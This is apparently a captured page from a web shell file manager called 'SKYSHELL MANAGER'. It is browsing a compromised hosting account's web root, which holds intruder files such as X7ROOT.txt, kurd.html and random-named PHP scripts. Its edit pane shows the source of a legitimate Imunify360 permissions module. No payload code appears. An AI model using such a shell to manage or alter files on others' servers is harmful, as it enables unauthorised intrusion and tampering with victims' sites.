📁
SKYSHELL MANAGER
PHP v8.2.30
Create
Create
Path:
root
/
home
/
qooetu
/
costes.qooetu.com
/
Name
Size
Perm
Actions
📁
.well-known
-
0755
🗑️
🏷️
🔒
📁
2e19d9
-
0755
🗑️
🏷️
🔒
📁
6b114
-
0755
🗑️
🏷️
🔒
📁
Modules
-
0755
🗑️
🏷️
🔒
📁
app
-
0755
🗑️
🏷️
🔒
📁
assets
-
0755
🗑️
🏷️
🔒
📁
bootstrap
-
0755
🗑️
🏷️
🔒
📁
cgi-bin
-
0755
🗑️
🏷️
🔒
📁
config
-
0755
🗑️
🏷️
🔒
📁
css
-
0755
🗑️
🏷️
🔒
📁
database
-
0755
🗑️
🏷️
🔒
📁
images
-
0755
🗑️
🏷️
🔒
📁
js
-
0755
🗑️
🏷️
🔒
📁
nbproject
-
0755
🗑️
🏷️
🔒
📁
public
-
0755
🗑️
🏷️
🔒
📁
resources
-
0755
🗑️
🏷️
🔒
📁
routes
-
0755
🗑️
🏷️
🔒
📁
storage
-
0755
🗑️
🏷️
🔒
📁
tests
-
0755
🗑️
🏷️
🔒
📁
uploads
-
0755
🗑️
🏷️
🔒
📁
vendor
-
0755
🗑️
🏷️
🔒
📁
wp-admin
-
0755
🗑️
🏷️
🔒
📁
wp-content
-
0755
🗑️
🏷️
🔒
📁
wp-includes
-
0755
🗑️
🏷️
🔒
📄
.htaccess
0.23 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
COOKIE.txt
0.2 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
X7ROOT.txt
0.27 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
defaults.php
1.29 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
engine.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
error_log
813.08 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
features.php
11.28 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
googlecfb82e09419fc0f6.html
0.05 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
index.php0
1.56 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
inputs.php
0.12 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
kurd.html
1.07 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
library.php
0 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
min.php
6.83 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
p.php
2.75 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
php.ini
0.04 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
product.php
1.78 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
qpmwztts.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
robots.txt
0.32 KB
0444
🗑️
🏷️
⬇️
✏️
🔒
📄
tovmbkwh.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
tyyffovi.php
0.74 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
📄
veoxv.html
1.23 KB
0644
🗑️
🏷️
⬇️
✏️
🔒
Edit: permissions.py
import logging from asyncio.coroutines import iscoroutinefunction from pathlib import Path from typing import Optional from defence360agent.contracts.config import MyImunifyConfig, PermissionsConfig from defence360agent.contracts.license import LicenseCLN from defence360agent.feature_management.constants import AV_REPORT, FULL from defence360agent.feature_management.model import FeatureManagementPerms from defence360agent.myimunify.model import MyImunify from defence360agent.subsys.panels.hosting_panel import HostingPanel from defence360agent.subsys.panels.plesk import Plesk from defence360agent.utils import importer from imav.malwarelib.api.imunify_patch_subscription import ( ImunifyPatchSubscriptionAPI, ) logger = logging.getLogger(__name__) PERMISSIONS = ( MS_VIEW, MS_CLEAN, MS_CLEAN_REQUIRES_MYIMUNIFY_PROTECTION, MS_ON_DEMAND_SCAN, MS_ON_DEMAND_SCAN_WITHOUT_RATE_LIMIT, MS_IGNORE_LIST_EDIT, MS_CONFIG_DEFAULT_ACTION_EDIT, MS_IMUNIFY_PATCH_ENABLED, MS_IMUNIFY_PATCH_ELIGIBLE_TO_PURCHASE, PD_VIEW, PD_CONFIG_MODE_EDIT, ) = ( "malware_scanner.view", "malware_scanner.clean", "malware_scanner.clean_requires_myimunify_protection", "malware_scanner.on_demand.scan", "malware_scanner.on_demand.scan_without_rate_limit", "malware_scanner.ignore_list.edit", "malware_scanner.config.default_action.edit", "malware_scanner.imunify_patch.enabled", "malware_scanner.imunify_patch.eligible_to_purchase", "proactive_defense.view", "proactive_defense.config.mode.edit", ) GLOBAL_CONFDIR = Path("/etc/sysconfig/imunify360") def is_plesk_service_plan_enabled() -> bool: return ( HostingPanel().NAME == Plesk.NAME and PermissionsConfig.USE_PLESK_SERVICE_PLAN ) def myimunify_protection_enabled(user: Optional[str] = None) -> bool: return MyImunify.get_protection(user) def ms_view(user: Optional[str] = None) -> bool: if user is None: return True return FeatureManagementPerms.get_perm(user).av in ( AV_REPORT, FULL, ) def ms_clean(user: Optional[str] = None) -> bool: if LicenseCLN.is_free() or not LicenseCLN.is_valid(): return False if user is None: return True if is_plesk_service_plan_enabled(): # should be handled by Plesk extension return True return FeatureManagementPerms.get_perm(user).av == FULL def ms_clean_requires_myimunify_protection(user: Optional[str] = None): if MyImunifyConfig.ENABLED: return myimunify_protection_enabled(user) return ms_clean(user) def ms_on_demand_scan(user: Optional[str] = None) -> bool: if user is None: return True if MyImunifyConfig.ENABLED: # on-demand scan is available for both Basic and Pro subscriptions return True if is_plesk_service_plan_enabled(): # should be handled by Plesk extension return True return PermissionsConfig.ALLOW_MALWARE_SCAN def ms_on_demand_scan_without_rate_limit( user: Optional[str] = None, ) -> bool: if MyImunifyConfig.ENABLED: return myimunify_protection_enabled(user) return PermissionsConfig.ALLOW_MALWARE_SCAN def ms_ignore_list_edit(user: Optional[str] = None): if user is None: return True if MyImunifyConfig.ENABLED: # so far, MyImunify doesn't allow to the user editing ignore list return False return PermissionsConfig.USER_IGNORE_LIST def ms_config_default_action_edit(user: Optional[str] = None): if user is None: return True if MyImunifyConfig.ENABLED: # so far, MyImunify doesn't allow to the user # editing default malware action return False return PermissionsConfig.USER_OVERRIDE_MALWARE_ACTIONS ms_imunify_patch_enabled = importer.get( module="imav.contracts.permissions", name="is_imunify_patch_enabled", default=lambda _: False, ) has_imunify_patch_subscriptions = importer.get( module="imav.malwarelib.api.imunify_patch_subscription", name="has_imunify_patch_subscriptions", default=lambda _: False, ) async def ms_imunify_patch_eligible_to_purchase( user: str | None = None, ) -> bool: return ( LicenseCLN.is_eligible_for_imunify_patch() or has_imunify_patch_subscriptions(user) or ( await ImunifyPatchSubscriptionAPI.get_purchase_eligibility() ).eligible ) def pd_view(user: Optional[str] = None): if user is None: return True return FeatureManagementPerms.get_perm(user).proactive == FULL def pd_config_mode_edit(user: Optional[str] = None): if user is None: return True if MyImunifyConfig.ENABLED: return False return PermissionsConfig.USER_OVERRIDE_PROACTIVE_DEFENSE HAS_PERMISSION = { MS_VIEW: ms_view, MS_CLEAN: ms_clean, MS_CLEAN_REQUIRES_MYIMUNIFY_PROTECTION: ( ms_clean_requires_myimunify_protection ), MS_ON_DEMAND_SCAN: ms_on_demand_scan, MS_ON_DEMAND_SCAN_WITHOUT_RATE_LIMIT: ms_on_demand_scan_without_rate_limit, MS_IGNORE_LIST_EDIT: ms_ignore_list_edit, MS_CONFIG_DEFAULT_ACTION_EDIT: ms_config_default_action_edit, MS_IMUNIFY_PATCH_ENABLED: ms_imunify_patch_enabled, MS_IMUNIFY_PATCH_ELIGIBLE_TO_PURCHASE: ms_imunify_patch_eligible_to_purchase, PD_VIEW: pd_view, PD_CONFIG_MODE_EDIT: pd_config_mode_edit, } async def has_permission(permission, user) -> bool: func = HAS_PERMISSION[permission] if iscoroutinefunction(func): return await HAS_PERMISSION[permission](user) return func(user) async def check_permission(permission, user) -> None: func = HAS_PERMISSION[permission] if iscoroutinefunction(func): if not await func(user): raise PermissionError("notifications.generalPermissionError") else: if not func(user): raise PermissionError("notifications.generalPermissionError") async def permissions_list(user) -> list[str]: return [ permission for permission in PERMISSIONS if await has_permission(permission, user) ]
Save